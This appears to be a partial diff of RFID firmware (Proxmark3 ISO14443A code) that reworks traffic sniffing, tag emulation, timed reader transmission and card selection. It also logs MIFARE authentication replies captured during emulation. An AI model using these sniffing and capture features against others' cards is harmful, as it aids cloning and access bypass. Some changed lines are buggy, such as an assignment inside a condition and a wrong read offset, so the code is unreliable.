#include "apps.h"
#include "util.h"
#include "string.h"
+#include "cmd.h"
#include "iso14443crc.h"
#include "iso14443a.h"
#include "mifareutil.h"
static uint32_t iso14a_timeout;
-uint8_t *trace = (uint8_t *) BigBuf;
+uint8_t *trace = (uint8_t *) BigBuf+TRACE_OFFSET;
int traceLen = 0;
int rsamples = 0;
int tracing = TRUE;
uint8_t trigger = 0;
+// the block number for the ISO14443-4 PCB
+static uint8_t iso14_pcb_blocknum = 0;
// CARD TO READER - manchester
// Sequence D: 11110000 modulation with subcarrier during first half
};
-void iso14a_set_trigger(int enable) {
+void iso14a_set_trigger(bool enable) {
trigger = enable;
}
-void iso14a_clear_tracelen(void) {
+void iso14a_clear_trace() {
+ memset(trace, 0x44, TRACE_SIZE);
traceLen = 0;
}
-void iso14a_set_tracing(int enable) {
+
+void iso14a_set_tracing(bool enable) {
tracing = enable;
}
+void iso14a_set_timeout(uint32_t timeout) {
+ iso14a_timeout = timeout;
+}
+
//-----------------------------------------------------------------------------
// Generate the parity value for a byte sequence
//
}
// The function LogTrace() is also used by the iClass implementation in iClass.c
-int LogTrace(const uint8_t * btBytes, int iLen, int iSamples, uint32_t dwParity, int bReader)
+int RAMFUNC LogTrace(const uint8_t * btBytes, int iLen, int iSamples, uint32_t dwParity, int bReader)
{
// Return when trace is full
if (traceLen >= TRACE_SIZE) return FALSE;
// triggering so that we start recording at the point that the tag is moved
// near the reader.
//-----------------------------------------------------------------------------
-void RAMFUNC SnoopIso14443a(void)
-{
-// #define RECV_CMD_OFFSET 2032 // original (working as of 21/2/09) values
-// #define RECV_RES_OFFSET 2096 // original (working as of 21/2/09) values
-// #define DMA_BUFFER_OFFSET 2160 // original (working as of 21/2/09) values
-// #define DMA_BUFFER_SIZE 4096 // original (working as of 21/2/09) values
-// #define TRACE_SIZE 2000 // original (working as of 21/2/09) values
-
- // We won't start recording the frames that we acquire until we trigger;
- // a good trigger condition to get started is probably when we see a
- // response from the tag.
- int triggered = FALSE; // FALSE to wait first for card
-
- // The command (reader -> tag) that we're receiving.
+void RAMFUNC SnoopIso14443a(uint8_t param) {
+ // param:
+ // bit 0 - trigger from first card answer
+ // bit 1 - trigger from first reader 7-bit request
+
+ LEDsoff();
+ // init trace buffer
+ iso14a_clear_trace();
+
+ // We won't start recording the frames that we acquire until we trigger;
+ // a good trigger condition to get started is probably when we see a
+ // response from the tag.
+ // triggered == FALSE -- to wait first for card
+ int triggered = !(param & 0x03);
+
+ // The command (reader -> tag) that we're receiving.
// The length of a received command will in most cases be no more than 18 bytes.
// So 32 should be enough!
- uint8_t *receivedCmd = (((uint8_t *)BigBuf) + RECV_CMD_OFFSET);
- // The response (tag -> reader) that we're receiving.
- uint8_t *receivedResponse = (((uint8_t *)BigBuf) + RECV_RES_OFFSET);
+ uint8_t *receivedCmd = (((uint8_t *)BigBuf) + RECV_CMD_OFFSET);
+ // The response (tag -> reader) that we're receiving.
+ uint8_t *receivedResponse = (((uint8_t *)BigBuf) + RECV_RES_OFFSET);
- // As we receive stuff, we copy it from receivedCmd or receivedResponse
- // into trace, along with its length and other annotations.
- //uint8_t *trace = (uint8_t *)BigBuf;
-
- traceLen = 0; // uncommented to fix ISSUE 15 - gerhard - jan2011
-
- // The DMA buffer, used to stream samples from the FPGA
- int8_t *dmaBuf = ((int8_t *)BigBuf) + DMA_BUFFER_OFFSET;
- int lastRxCounter;
- int8_t *upTo;
- int smpl;
- int maxBehindBy = 0;
-
- // Count of samples received so far, so that we can include timing
- // information in the trace buffer.
- int samples = 0;
- int rsamples = 0;
-
- memset(trace, 0x44, TRACE_SIZE);
-
- // Set up the demodulator for tag -> reader responses.
- Demod.output = receivedResponse;
- Demod.len = 0;
- Demod.state = DEMOD_UNSYNCD;
-
- // Setup for the DMA.
- FpgaSetupSsc();
- upTo = dmaBuf;
- lastRxCounter = DMA_BUFFER_SIZE;
- FpgaSetupSscDma((uint8_t *)dmaBuf, DMA_BUFFER_SIZE);
-
- // And the reader -> tag commands
- memset(&Uart, 0, sizeof(Uart));
- Uart.output = receivedCmd;
- Uart.byteCntMax = 32; // was 100 (greg)////////////////////////////////////////////////////////////////////////
- Uart.state = STATE_UNSYNCD;
+ // As we receive stuff, we copy it from receivedCmd or receivedResponse
+ // into trace, along with its length and other annotations.
+ //uint8_t *trace = (uint8_t *)BigBuf;
+
+ // The DMA buffer, used to stream samples from the FPGA
+ int8_t *dmaBuf = ((int8_t *)BigBuf) + DMA_BUFFER_OFFSET;
+ int8_t *data = dmaBuf;
+ int maxDataLen = 0;
+ int dataLen = 0;
- // And put the FPGA in the appropriate mode
- // Signal field is off with the appropriate LED
- LED_D_OFF();
- FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_SNIFFER);
- SetAdcMuxFor(GPIO_MUXSEL_HIPKD);
+ // Set up the demodulator for tag -> reader responses.
+ Demod.output = receivedResponse;
+ Demod.len = 0;
+ Demod.state = DEMOD_UNSYNCD;
+ // Set up the demodulator for the reader -> tag commands
+ memset(&Uart, 0, sizeof(Uart));
+ Uart.output = receivedCmd;
+ Uart.byteCntMax = 32; // was 100 (greg)//////////////////
+ Uart.state = STATE_UNSYNCD;
- // And now we loop, receiving samples.
- for(;;) {
- LED_A_ON();
- WDT_HIT();
- int behindBy = (lastRxCounter - AT91C_BASE_PDC_SSC->PDC_RCR) &
- (DMA_BUFFER_SIZE-1);
- if(behindBy > maxBehindBy) {
- maxBehindBy = behindBy;
- if(behindBy > 400) {
- Dbprintf("blew circular buffer! behindBy=0x%x", behindBy);
- goto done;
- }
- }
- if(behindBy < 1) continue;
+ // Setup for the DMA.
+ FpgaSetupSsc();
+ FpgaSetupSscDma((uint8_t *)dmaBuf, DMA_BUFFER_SIZE);
- LED_A_OFF();
- smpl = upTo[0];
- upTo++;
- lastRxCounter -= 1;
- if(upTo - dmaBuf > DMA_BUFFER_SIZE) {
- upTo -= DMA_BUFFER_SIZE;
- lastRxCounter += DMA_BUFFER_SIZE;
- AT91C_BASE_PDC_SSC->PDC_RNPR = (uint32_t) upTo;
- AT91C_BASE_PDC_SSC->PDC_RNCR = DMA_BUFFER_SIZE;
- }
+ // And put the FPGA in the appropriate mode
+ // Signal field is off with the appropriate LED
+ LED_D_OFF();
+ FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_SNIFFER);
+ SetAdcMuxFor(GPIO_MUXSEL_HIPKD);
- samples += 4;
- if(MillerDecoding((smpl & 0xF0) >> 4)) {
- rsamples = samples - Uart.samples;
- LED_C_ON();
- if(triggered) {
- trace[traceLen++] = ((rsamples >> 0) & 0xff);
- trace[traceLen++] = ((rsamples >> 8) & 0xff);
- trace[traceLen++] = ((rsamples >> 16) & 0xff);
- trace[traceLen++] = ((rsamples >> 24) & 0xff);
- trace[traceLen++] = ((Uart.parityBits >> 0) & 0xff);
- trace[traceLen++] = ((Uart.parityBits >> 8) & 0xff);
- trace[traceLen++] = ((Uart.parityBits >> 16) & 0xff);
- trace[traceLen++] = ((Uart.parityBits >> 24) & 0xff);
- trace[traceLen++] = Uart.byteCnt;
- memcpy(trace+traceLen, receivedCmd, Uart.byteCnt);
- traceLen += Uart.byteCnt;
- if(traceLen > TRACE_SIZE) break;
- }
- /* And ready to receive another command. */
- Uart.state = STATE_UNSYNCD;
- /* And also reset the demod code, which might have been */
- /* false-triggered by the commands from the reader. */
- Demod.state = DEMOD_UNSYNCD;
- LED_B_OFF();
- }
+ // Count of samples received so far, so that we can include timing
+ // information in the trace buffer.
+ rsamples = 0;
+ // And now we loop, receiving samples.
+ while(true) {
+ if(BUTTON_PRESS()) {
+ DbpString("cancelled by button");
+ goto done;
+ }
- if(ManchesterDecoding(smpl & 0x0F)) {
- rsamples = samples - Demod.samples;
- LED_B_ON();
-
- // timestamp, as a count of samples
- trace[traceLen++] = ((rsamples >> 0) & 0xff);
- trace[traceLen++] = ((rsamples >> 8) & 0xff);
- trace[traceLen++] = ((rsamples >> 16) & 0xff);
- trace[traceLen++] = 0x80 | ((rsamples >> 24) & 0xff);
- trace[traceLen++] = ((Demod.parityBits >> 0) & 0xff);
- trace[traceLen++] = ((Demod.parityBits >> 8) & 0xff);
- trace[traceLen++] = ((Demod.parityBits >> 16) & 0xff);
- trace[traceLen++] = ((Demod.parityBits >> 24) & 0xff);
- // length
- trace[traceLen++] = Demod.len;
- memcpy(trace+traceLen, receivedResponse, Demod.len);
- traceLen += Demod.len;
- if(traceLen > TRACE_SIZE) break;
-
- triggered = TRUE;
-
- // And ready to receive another response.
- memset(&Demod, 0, sizeof(Demod));
- Demod.output = receivedResponse;
- Demod.state = DEMOD_UNSYNCD;
- LED_C_OFF();
- }
+ LED_A_ON();
+ WDT_HIT();
- if(BUTTON_PRESS()) {
- DbpString("cancelled_a");
- goto done;
- }
- }
+ int register readBufDataP = data - dmaBuf;
+ int register dmaBufDataP = DMA_BUFFER_SIZE - AT91C_BASE_PDC_SSC->PDC_RCR;
+ if (readBufDataP <= dmaBufDataP){
+ dataLen = dmaBufDataP - readBufDataP;
+ } else {
+ dataLen = DMA_BUFFER_SIZE - readBufDataP + dmaBufDataP + 1;
+ }
+ // test for length of buffer
+ if(dataLen > maxDataLen) {
+ maxDataLen = dataLen;
+ if(dataLen > 400) {
+ Dbprintf("blew circular buffer! dataLen=0x%x", dataLen);
+ goto done;
+ }
+ }
+ if(dataLen < 1) continue;
+
+ // primary buffer was stopped( <-- we lost data!
+ if (!AT91C_BASE_PDC_SSC->PDC_RCR) {
+ AT91C_BASE_PDC_SSC->PDC_RPR = (uint32_t) dmaBuf;
+ AT91C_BASE_PDC_SSC->PDC_RCR = DMA_BUFFER_SIZE;
+ }
+ // secondary buffer sets as primary, secondary buffer was stopped
+ if (!AT91C_BASE_PDC_SSC->PDC_RNCR) {
+ AT91C_BASE_PDC_SSC->PDC_RNPR = (uint32_t) dmaBuf;
+ AT91C_BASE_PDC_SSC->PDC_RNCR = DMA_BUFFER_SIZE;
+ }
+
+ LED_A_OFF();
+
+ rsamples += 4;
+ if(MillerDecoding((data[0] & 0xF0) >> 4)) {
+ LED_C_ON();
+
+ // check - if there is a short 7bit request from reader
+ if ((!triggered) && (param & 0x02) && (Uart.byteCnt == 1) && (Uart.bitCnt = 9)) triggered = TRUE;
+
+ if(triggered) {
+ if (!LogTrace(receivedCmd, Uart.byteCnt, 0 - Uart.samples, Uart.parityBits, TRUE)) break;
+ }
+ /* And ready to receive another command. */
+ Uart.state = STATE_UNSYNCD;
+ /* And also reset the demod code, which might have been */
+ /* false-triggered by the commands from the reader. */
+ Demod.state = DEMOD_UNSYNCD;
+ LED_B_OFF();
+ }
+
+ if(ManchesterDecoding(data[0] & 0x0F)) {
+ LED_B_ON();
+
+ if (!LogTrace(receivedResponse, Demod.len, 0 - Demod.samples, Demod.parityBits, FALSE)) break;
- DbpString("COMMAND FINISHED");
+ if ((!triggered) && (param & 0x01)) triggered = TRUE;
+
+ // And ready to receive another response.
+ memset(&Demod, 0, sizeof(Demod));
+ Demod.output = receivedResponse;
+ Demod.state = DEMOD_UNSYNCD;
+ LED_C_OFF();
+ }
+
+ data++;
+ if(data > dmaBuf + DMA_BUFFER_SIZE) {
+ data = dmaBuf;
+ }
+ } // main cycle
+
+ DbpString("COMMAND FINISHED");
done:
- AT91C_BASE_PDC_SSC->PDC_PTCR = AT91C_PDC_RXTDIS;
- Dbprintf("maxBehindBy=%x, Uart.state=%x, Uart.byteCnt=%x", maxBehindBy, Uart.state, Uart.byteCnt);
- Dbprintf("Uart.byteCntMax=%x, traceLen=%x, Uart.output[0]=%x", Uart.byteCntMax, traceLen, (int)Uart.output[0]);
- LED_A_OFF();
- LED_B_OFF();
- LED_C_OFF();
- LED_D_OFF();
+ AT91C_BASE_PDC_SSC->PDC_PTCR = AT91C_PDC_RXTDIS;
+ Dbprintf("maxDataLen=%x, Uart.state=%x, Uart.byteCnt=%x", maxDataLen, Uart.state, Uart.byteCnt);
+ Dbprintf("Uart.byteCntMax=%x, traceLen=%x, Uart.output[0]=%08x", Uart.byteCntMax, traceLen, (int)Uart.output[0]);
+ LEDsoff();
}
//-----------------------------------------------------------------------------
}
}
}
+
static int EmSendCmd14443aRaw(uint8_t *resp, int respLen, int correctionNeeded);
+int EmSend4bitEx(uint8_t resp, int correctionNeeded);
+int EmSend4bit(uint8_t resp);
+int EmSendCmdExPar(uint8_t *resp, int respLen, int correctionNeeded, uint32_t par);
+int EmSendCmdExPar(uint8_t *resp, int respLen, int correctionNeeded, uint32_t par);
+int EmSendCmdEx(uint8_t *resp, int respLen, int correctionNeeded);
+int EmSendCmd(uint8_t *resp, int respLen);
+int EmSendCmdPar(uint8_t *resp, int respLen, uint32_t par);
//-----------------------------------------------------------------------------
// Main loop of simulated tag: receive commands from reader, decide what
// response to send, and send it.
//-----------------------------------------------------------------------------
-void SimulateIso14443aTag(int tagType, int uid_1st, int uid_2nd)
+void SimulateIso14443aTag(int tagType, int uid_1st, int uid_2nd, byte_t* data)
{
// Enable and clear the trace
tracing = TRUE;
- traceLen = 0;
- memset(trace, 0x44, TRACE_SIZE);
+ iso14a_clear_trace();
// This function contains the tag emulation
uint8_t sak;
uint8_t response6[] = { 0x03, 0x3B, 0x00, 0x00, 0x00 }; // dummy ATS (pseudo-ATR), answer to RATS
ComputeCrc14443(CRC_14443_A, response6, 3, &response6[3], &response6[4]);
- uint8_t *resp;
+ uint8_t *resp = NULL;
int respLen;
// Longest possible response will be 16 bytes + 2 CRC = 18 bytes
// Response to a read request - not implemented atm
uint8_t *resp4 = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET + (166*4));
- int resp4Len;
+// int resp4Len;
// Authenticate response - nonce
uint8_t *resp5 = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET + (166*5));
int cmdsRecvd = 0;
uint8_t* respdata = NULL;
int respsize = 0;
- uint8_t nack = 0x04;
+// uint8_t nack = 0x04;
memset(receivedCmd, 0x44, RECV_CMD_SIZE);
// Strange answer is an example of rare message size (3 bits)
CodeStrangeAnswerAsTag();
- memcpy(resp4, ToSend, ToSendMax); resp4Len = ToSendMax;
+ memcpy(resp4, ToSend, ToSendMax);// resp4Len = ToSendMax;
// Authentication answer (random nonce)
CodeIso14443aAsTag(response5, sizeof(response5));
DbpString("button press");
break;
}
+
+ if (tracing) {
+ LogTrace(receivedCmd,len, 0, Uart.parityBits, TRUE);
+ }
+
// doob - added loads of debug strings so we can see what the reader is saying to us during the sim as hi14alist is not populated
// Okay, look at the command now.
lastorder = order;
respdata = response3a;
respsize = sizeof(response3a);
} else if(receivedCmd[0] == 0x30) { // Received a (plain) READ
- resp = resp4; respLen = resp4Len; order = 4; // Do nothing
+// resp = resp4; respLen = resp4Len; order = 4; // Do nothing
+// respdata = &nack;
+// respsize = sizeof(nack); // 4-bit answer
+ EmSendCmdEx(data+(4*receivedCmd[0]),16,false);
Dbprintf("Read request from reader: %x %x",receivedCmd[0],receivedCmd[1]);
- respdata = &nack;
- respsize = sizeof(nack); // 4-bit answer
+ // We already responded, do not send anything with the EmSendCmd14443aRaw() that is called below
+ respLen = 0;
} else if(receivedCmd[0] == 0x50) { // Received a HALT
- DbpString("Reader requested we HALT!:");
+// DbpString("Reader requested we HALT!:");
// Do not respond
resp = resp1; respLen = 0; order = 0;
respdata = NULL;
respdata = response6;
respsize = sizeof(response6);
} else {
- // Never seen this command before
- Dbprintf("Received (len=%d): %02x %02x %02x %02x %02x %02x %02x %02x %02x",
- len,
- receivedCmd[0], receivedCmd[1], receivedCmd[2],
- receivedCmd[3], receivedCmd[4], receivedCmd[5],
- receivedCmd[6], receivedCmd[7], receivedCmd[8]);
- // Do not respond
- resp = resp1; respLen = 0; order = 0;
- respdata = NULL;
- respsize = 0;
+ if (order == 7 && len ==8) {
+ uint32_t nr = bytes_to_num(receivedCmd,4);
+ uint32_t ar = bytes_to_num(receivedCmd+4,4);
+ Dbprintf("Auth attempt {nr}{ar}: %08x %08x",nr,ar);
+ } else {
+ // Never seen this command before
+ Dbprintf("Received unknown command (len=%d):",len);
+ Dbhexdump(len,receivedCmd,false);
+ }
+ // Do not respond
+ resp = resp1; respLen = 0; order = 0;
+ respdata = NULL;
+ respsize = 0;
}
// Count number of wakeups received after a halt
}
if (tracing) {
- LogTrace(receivedCmd,len, 0, Uart.parityBits, TRUE);
if (respdata != NULL) {
LogTrace(respdata,respsize, 0, SwapBits(GetParity(respdata,respsize),respsize), FALSE);
}
LED_A_OFF();
}
-//-----------------------------------------------------------------------------
-// Transmit the command (to the tag) that was placed in ToSend[].
-//-----------------------------------------------------------------------------
-static void TransmitFor14443a(const uint8_t *cmd, int len, int *samples, int *wait)
+
+// prepare a delayed transfer. This simply shifts ToSend[] by a number
+// of bits specified in the delay parameter.
+void PrepareDelayedTransfer(uint16_t delay)
{
- int c;
+ uint8_t bitmask = 0;
+ uint8_t bits_to_shift = 0;
+ uint8_t bits_shifted = 0;
+
+ delay &= 0x07;
+ if (delay) {
+ for (uint16_t i = 0; i < delay; i++) {
+ bitmask |= (0x01 << i);
+ }
+ ToSend[++ToSendMax] = 0x00;
+ for (uint16_t i = 0; i < ToSendMax; i++) {
+ bits_to_shift = ToSend[i] & bitmask;
+ ToSend[i] = ToSend[i] >> delay;
+ ToSend[i] = ToSend[i] | (bits_shifted << (8 - delay));
+ bits_shifted = bits_to_shift;
+ }
+ }
+}
- FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD);
- if (wait)
- if(*wait < 10)
- *wait = 10;
- for(c = 0; c < *wait;) {
- if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) {
- AT91C_BASE_SSC->SSC_THR = 0x00; // For exact timing!
- c++;
- }
- if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) {
- volatile uint32_t r = AT91C_BASE_SSC->SSC_RHR;
- (void)r;
- }
- WDT_HIT();
- }
-
- c = 0;
- for(;;) {
- if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) {
- AT91C_BASE_SSC->SSC_THR = cmd[c];
- c++;
- if(c >= len) {
- break;
- }
- }
- if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) {
- volatile uint32_t r = AT91C_BASE_SSC->SSC_RHR;
- (void)r;
- }
- WDT_HIT();
- }
- if (samples) *samples = (c + *wait) << 3;
-}
//-----------------------------------------------------------------------------
-// Code a 7-bit command without parity bit
-// This is especially for 0x26 and 0x52 (REQA and WUPA)
+// Transmit the command (to the tag) that was placed in ToSend[].
+// Parameter timing:
+// if NULL: ignored
+// if == 0: return time of transfer
+// if != 0: delay transfer until time specified
//-----------------------------------------------------------------------------
-void ShortFrameFromReader(const uint8_t bt)
+static void TransmitFor14443a(const uint8_t *cmd, int len, uint32_t *timing)
{
- int j;
- int last;
- uint8_t b;
+ int c;
- ToSendReset();
+ FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD);
- // Start of Communication (Seq. Z)
- ToSend[++ToSendMax] = SEC_Z;
- last = 0;
- b = bt;
- for(j = 0; j < 7; j++) {
- if(b & 1) {
- // Sequence X
- ToSend[++ToSendMax] = SEC_X;
- last = 1;
+ if (timing) {
+ if(*timing == 0) { // Measure time
+ *timing = (GetCountMifare() + 8) & 0xfffffff8;
} else {
- if(last == 0) {
- // Sequence Z
- ToSend[++ToSendMax] = SEC_Z;
- }
- else {
- // Sequence Y
- ToSend[++ToSendMax] = SEC_Y;
- last = 0;
- }
+ PrepareDelayedTransfer(*timing & 0x00000007); // Delay transfer (fine tuning - up to 7 MF clock ticks)
}
- b >>= 1;
+ if(MF_DBGLEVEL >= 4 && GetCountMifare() >= (*timing & 0xfffffff8)) Dbprintf("TransmitFor14443a: Missed timing");
+ while(GetCountMifare() < (*timing & 0xfffffff8)); // Delay transfer (multiple of 8 MF clock ticks)
}
- // End of Communication
- if(last == 0) {
- // Sequence Z
- ToSend[++ToSendMax] = SEC_Z;
+ for(c = 0; c < 10;) { // standard delay for each transfer (allow tag to be ready after last transmission)
+ if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) {
+ AT91C_BASE_SSC->SSC_THR = 0x00;
+ c++;
+ }
}
- else {
- // Sequence Y
- ToSend[++ToSendMax] = SEC_Y;
- last = 0;
+
+ c = 0;
+ for(;;) {
+ if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) {
+ AT91C_BASE_SSC->SSC_THR = cmd[c];
+ c++;
+ if(c >= len) {
+ break;
+ }
+ }
}
- // Sequence Y
- ToSend[++ToSendMax] = SEC_Y;
-
- // Just to be sure!
- ToSend[++ToSendMax] = SEC_Y;
- ToSend[++ToSendMax] = SEC_Y;
- ToSend[++ToSendMax] = SEC_Y;
- // Convert from last character reference to length
- ToSendMax++;
}
//-----------------------------------------------------------------------------
-// Prepare reader command to send to FPGA
-//
+// Prepare reader command (in bits, support short frames) to send to FPGA
//-----------------------------------------------------------------------------
-void CodeIso14443aAsReaderPar(const uint8_t * cmd, int len, uint32_t dwParity)
+void CodeIso14443aBitsAsReaderPar(const uint8_t * cmd, int bits, uint32_t dwParity)
{
int i, j;
int last;
ToSend[++ToSendMax] = SEC_Z;
last = 0;
+ size_t bytecount = nbytes(bits);
// Generate send structure for the data bits
- for (i = 0; i < len; i++) {
+ for (i = 0; i < bytecount; i++) {
// Get the current byte to send
b = cmd[i];
+ size_t bitsleft = MIN((bits-(i*8)),8);
- for (j = 0; j < 8; j++) {
+ for (j = 0; j < bitsleft; j++) {
if (b & 1) {
// Sequence X
ToSend[++ToSendMax] = SEC_X;
b >>= 1;
}
- // Get the parity bit
- if ((dwParity >> i) & 0x01) {
- // Sequence X
- ToSend[++ToSendMax] = SEC_X;
- last = 1;
- } else {
- if (last == 0) {
- // Sequence Z
- ToSend[++ToSendMax] = SEC_Z;
+ // Only transmit (last) parity bit if we transmitted a complete byte
+ if (j == 8) {
+ // Get the parity bit
+ if ((dwParity >> i) & 0x01) {
+ // Sequence X
+ ToSend[++ToSendMax] = SEC_X;
+ last = 1;
} else {
- // Sequence Y
- ToSend[++ToSendMax] = SEC_Y;
- last = 0;
+ if (last == 0) {
+ // Sequence Z
+ ToSend[++ToSendMax] = SEC_Z;
+ } else {
+ // Sequence Y
+ ToSend[++ToSendMax] = SEC_Y;
+ last = 0;
+ }
}
}
}
ToSendMax++;
}
+//-----------------------------------------------------------------------------
+// Prepare reader command to send to FPGA
+//-----------------------------------------------------------------------------
+void CodeIso14443aAsReaderPar(const uint8_t * cmd, int len, uint32_t dwParity)
+{
+ CodeIso14443aBitsAsReaderPar(cmd,len*8,dwParity);
+}
+
//-----------------------------------------------------------------------------
// Wait for commands from reader
// Stop when button is pressed (return 1) or field was gone (return 2)
// Signal field is on with the appropriate LED
LED_D_ON();
FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_LISTEN);
-
+
// Now get the answer from the card
Demod.output = receivedResponse;
Demod.len = 0;
for(;;) {
WDT_HIT();
- if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) {
- AT91C_BASE_SSC->SSC_THR = 0x00; // To make use of exact timing of next command from reader!!
- if (elapsed) (*elapsed)++;
- }
+ // if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) {
+ // AT91C_BASE_SSC->SSC_THR = 0x00; // To make use of exact timing of next command from reader!!
+ // if (elapsed) (*elapsed)++;
+ // }
if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) {
if(c < iso14a_timeout) { c++; } else { return FALSE; }
b = (uint8_t)AT91C_BASE_SSC->SSC_RHR;
}
}
-void ReaderTransmitShort(const uint8_t* bt)
-{
- int wait = 0;
- int samples = 0;
-
- ShortFrameFromReader(*bt);
-
- // Select the card
- TransmitFor14443a(ToSend, ToSendMax, &samples, &wait);
-
- // Store reader command in buffer
- if (tracing) LogTrace(bt,1,0,GetParity(bt,1),TRUE);
-}
-
-void ReaderTransmitPar(uint8_t* frame, int len, uint32_t par)
+void ReaderTransmitBitsPar(uint8_t* frame, int bits, uint32_t par, uint32_t *timing)
{
- int wait = 0;
- int samples = 0;
-
- // This is tied to other size changes
- // uint8_t* frame_addr = ((uint8_t*)BigBuf) + 2024;
- CodeIso14443aAsReaderPar(frame,len,par);
-
+
+ CodeIso14443aBitsAsReaderPar(frame,bits,par);
+
// Select the card
- TransmitFor14443a(ToSend, ToSendMax, &samples, &wait);
+ TransmitFor14443a(ToSend, ToSendMax, timing);
if(trigger)
LED_A_ON();
-
+
// Store reader command in buffer
- if (tracing) LogTrace(frame,len,0,par,TRUE);
+ if (tracing) LogTrace(frame,nbytes(bits),0,par,TRUE);
}
+void ReaderTransmitPar(uint8_t* frame, int len, uint32_t par, uint32_t *timing)
+{
+ ReaderTransmitBitsPar(frame,len*8,par, timing);
+}
-void ReaderTransmit(uint8_t* frame, int len)
+void ReaderTransmit(uint8_t* frame, int len, uint32_t *timing)
{
// Generate parity and redirect
- ReaderTransmitPar(frame,len,GetParity(frame,len));
+ ReaderTransmitBitsPar(frame,len*8,GetParity(frame,len), timing);
}
int ReaderReceive(uint8_t* receivedAnswer)
/* performs iso14443a anticolision procedure
* fills the uid pointer unless NULL
* fills resp_data unless NULL */
-int iso14443a_select_card(uint8_t * uid_ptr, iso14a_card_select_t * resp_data, uint32_t * cuid_ptr) {
- uint8_t wupa[] = { 0x52 }; // 0x26 - REQA 0x52 - WAKE-UP
- uint8_t sel_all[] = { 0x93,0x20 };
- uint8_t sel_uid[] = { 0x93,0x70,0x00,0x00,0x00,0x00,0x00,0x00,0x00 };
- uint8_t rats[] = { 0xE0,0x80,0x00,0x00 }; // FSD=256, FSDI=8, CID=0
-
- uint8_t* resp = (((uint8_t *)BigBuf) + 3560); // was 3560 - tied to other size changes
-
- uint8_t sak = 0x04; // cascade uid
- int cascade_level = 0;
-
- int len;
+int iso14443a_select_card(byte_t* uid_ptr, iso14a_card_select_t* p_hi14a_card, uint32_t* cuid_ptr) {
+ uint8_t wupa[] = { 0x52 }; // 0x26 - REQA 0x52 - WAKE-UP
+ uint8_t sel_all[] = { 0x93,0x20 };
+ uint8_t sel_uid[] = { 0x93,0x70,0x00,0x00,0x00,0x00,0x00,0x00,0x00 };
+ uint8_t rats[] = { 0xE0,0x80,0x00,0x00 }; // FSD=256, FSDI=8, CID=0
+ uint8_t* resp = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET); // was 3560 - tied to other size changes
+ byte_t uid_resp[4];
+ size_t uid_resp_len;
+
+ uint8_t sak = 0x04; // cascade uid
+ int cascade_level = 0;
+ int len;
+
+ // Broadcast for a card, WUPA (0x52) will force response from all cards in the field
+ ReaderTransmitBitsPar(wupa,7,0, NULL);
+ // Receive the ATQA
+ if(!ReaderReceive(resp)) return 0;
+// Dbprintf("atqa: %02x %02x",resp[0],resp[1]);
+
+ if(p_hi14a_card) {
+ memcpy(p_hi14a_card->atqa, resp, 2);
+ p_hi14a_card->uidlen = 0;
+ memset(p_hi14a_card->uid,0,10);
+ }
- // clear uid
- memset(uid_ptr, 0, 8);
-
- // Broadcast for a card, WUPA (0x52) will force response from all cards in the field
- ReaderTransmitShort(wupa);
- // Receive the ATQA
- if(!ReaderReceive(resp)) return 0;
+ // clear uid
+ if (uid_ptr) {
+ memset(uid_ptr,0,10);
+ }
- if(resp_data)
- memcpy(resp_data->atqa, resp, 2);
-
- // OK we will select at least at cascade 1, lets see if first byte of UID was 0x88 in
- // which case we need to make a cascade 2 request and select - this is a long UID
- // While the UID is not complete, the 3nd bit (from the right) is set in the SAK.
- for(; sak & 0x04; cascade_level++)
- {
- // SELECT_* (L1: 0x93, L2: 0x95, L3: 0x97)
- sel_uid[0] = sel_all[0] = 0x93 + cascade_level * 2;
+ // OK we will select at least at cascade 1, lets see if first byte of UID was 0x88 in
+ // which case we need to make a cascade 2 request and select - this is a long UID
+ // While the UID is not complete, the 3nd bit (from the right) is set in the SAK.
+ for(; sak & 0x04; cascade_level++) {
+ // SELECT_* (L1: 0x93, L2: 0x95, L3: 0x97)
+ sel_uid[0] = sel_all[0] = 0x93 + cascade_level * 2;
- // SELECT_ALL
- ReaderTransmit(sel_all,sizeof(sel_all));
- if (!ReaderReceive(resp)) return 0;
- if(uid_ptr) memcpy(uid_ptr + cascade_level*4, resp, 4);
-
- // calculate crypto UID
- if(cuid_ptr) *cuid_ptr = bytes_to_num(resp, 4);
+ // SELECT_ALL
+ ReaderTransmit(sel_all,sizeof(sel_all), NULL);
+ if (!ReaderReceive(resp)) return 0;
+
+ // First backup the current uid
+ memcpy(uid_resp,resp,4);
+ uid_resp_len = 4;
+ // Dbprintf("uid: %02x %02x %02x %02x",uid_resp[0],uid_resp[1],uid_resp[2],uid_resp[3]);
+
+ // calculate crypto UID. Always use last 4 Bytes.
+ if(cuid_ptr) {
+ *cuid_ptr = bytes_to_num(uid_resp, 4);
+ }
- // Construct SELECT UID command
+ // Construct SELECT UID command
memcpy(sel_uid+2,resp,5);
- AppendCrc14443a(sel_uid,7);
- ReaderTransmit(sel_uid,sizeof(sel_uid));
+ AppendCrc14443a(sel_uid,7);
+ ReaderTransmit(sel_uid,sizeof(sel_uid), NULL);
+
+ // Receive the SAK
+ if (!ReaderReceive(resp)) return 0;
+ sak = resp[0];
+
+ // Test if more parts of the uid are comming
+ if ((sak & 0x04) && uid_resp[0] == 0x88) {
+ // Remove first byte, 0x88 is not an UID byte, it CT, see page 3 of:
+ // http://www.nxp.com/documents/application_note/AN10927.pdf
